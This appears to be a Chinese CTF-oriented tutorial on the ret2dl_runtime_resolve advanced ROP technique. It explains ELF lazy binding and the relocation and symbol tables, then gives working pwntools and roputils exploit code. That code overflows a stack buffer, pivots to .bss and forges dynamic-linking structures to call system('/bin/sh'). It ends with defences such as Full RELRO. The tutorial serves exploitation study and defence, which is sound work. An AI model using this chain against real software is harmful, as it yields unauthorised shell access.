高级ROP ret2dl_runtime 之通杀详解
字数 1105 2025-08-05 08:16:32
高级ROP ret2dl_runtime 攻击技术详解
1. 技术背景与原理
1.1 动态链接与延迟绑定机制
Linux系统采用延迟绑定技术(Lazy Binding)来优化动态链接过程:
- 程序启动时不会立即绑定所有函数
- 第一次调用函数时才进行绑定
- 核心是通过
_dl_runtime_resolve(link_map_obj, reloc_index)实现
1.2 PLT/GOT工作机制
当第一次调用函数时:
- PLT表项跳转到GOT表项
- GOT表项初始指向PLT中的下一条指令
- 将重定位偏移压栈
- 跳转到PLT0
- PLT0将link_map压栈
- 跳转到
_dl_runtime_resolve进行解析 - 解析结果写入GOT表
- 控制权交给解析出的函数
2. 关键数据结构
2.1 ELF重定位表(.rel.plt)
结构体定义:
typedef struct {
Elf32_Addr r_offset; // 写入位置
Elf32_Word r_info; // 符号索引和类型
} Elf32_Rel;
r_info组成:
- 高24位:符号在.dynsym中的索引
- 低8位:重定位类型(0x7表示R_386_JMP_SLOT)
2.2 ELF符号表(.dynsym)
结构体定义:
typedef struct {
Elf32_Word st_name; // 符号名在.dynstr中的偏移
Elf32_Addr st_value;
Elf32_Word st_size;
unsigned char st_info; // 对于导入函数为0x12
unsigned char st_other;
Elf32_Section st_shndx;
} Elf32_Sym;
2.3 ELF字符串表(.dynstr)
包含所有动态链接符号的名称字符串,如"read"、"system"等。
3. 攻击原理
通过伪造上述三个表的内容,控制_dl_runtime_resolve解析我们指定的函数:
- 控制程序执行
_dl_runtime_resolve - 伪造重定位表项,指向我们控制的区域
- 伪造符号表项,指向我们控制的字符串
- 伪造字符串内容为"system"等目标函数名
4. 攻击步骤详解
4.1 准备工作
from pwn import *
offset = 44 # 溢出偏移
elf = ELF('./pwn')
rop = ROP('./pwn')
bss_addr = elf.bss()
stack_size = 0x800
base_stage = bss_addr + stack_size # 伪造数据存放位置
4.2 栈迁移
rop.raw('a' * offset)
rop.read(0, base_stage, 100) # 读取伪造数据到bss段
rop.migrate(base_stage) # 栈迁移到bss段
4.3 获取关键地址
plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
4.4 构造伪造数据
- 构造符号表项:
fake_sym_addr = base_stage + 32
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) # 16字节对齐
fake_sym_addr += align
index_dynsym = (fake_sym_addr - dynsym) / 0x10 # 符号索引
st_name = fake_sym_addr + 0x10 - dynstr # 字符串偏移
fake_sys = flat([st_name, 0, 0, 0x12]) # 伪造符号表项
- 构造重定位表项:
r_info = index_dynsym << 8 | 0x7 # 符号索引+类型
read_got = elf.got['setvbuf'] # 可写地址
fake_sys_rel = flat([read_got, r_info]) # 伪造重定位表项
- 计算重定位索引:
index_offset = base_stage + 24 - rel_plt
4.5 构造ROP链
sh = '/bin/sh'
rop.raw(plt0) # 调用_dl_runtime_resolve
rop.raw(index_offset) # 重定位索引
rop.raw('bbbb') # 返回地址
rop.raw(base_stage + 82) # system参数
rop.raw('bbbb') # 填充
rop.raw('bbbb') # 填充
rop.raw(fake_sys_rel) # 伪造重定位表
rop.raw(align * 'a') # 对齐填充
rop.raw(fake_sys) # 伪造符号表
rop.raw('system\x00') # 函数名字符串
rop.raw('a' * (80 - len(rop.chain())))
rop.raw(sh + '\x00') # 参数字符串
rop.raw('a' * (100 - len(rop.chain())))
5. 利用工具简化攻击
使用roputils库可以简化攻击过程:
from roputils import *
rop = ROP('./pwn')
bss_base = rop.section('.bss')
# 第一阶段:栈迁移
buf = rop.fill(offset)
buf += rop.call('read', 0, bss_base, 100)
buf += rop.dl_resolve_call(bss_base + 20, bss_base)
r.send(buf)
# 第二阶段:发送伪造数据
buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
buf += rop.dl_resolve_data(bss_base + 20, 'system')
buf += rop.fill(100, buf)
r.send(buf)
6. 攻击条件与注意事项
-
必要条件:
- 存在栈溢出漏洞
- 没有泄露函数地址的机会
- 程序使用动态链接
-
注意事项:
- 重定位表项的r_offset必须可写
- 符号版本信息(ndx)最好设为0
- 64位程序需要调整参数传递方式
7. 防御措施
-
启用RELRO保护:
- Partial RELRO:.got.plt段可写
- Full RELRO:所有重定位数据在加载时解析并设为只读
-
其他防御:
- 栈保护(Stack Canary)
- 地址随机化(ASLR)
- 非可执行栈(NX)
8. 总结
ret2dl_runtime是一种高级ROP技术,通过伪造动态链接过程中的重定位数据结构,实现在没有地址泄露的情况下调用任意函数。虽然原理复杂,但利用模式固定,掌握后可以通杀同类题目。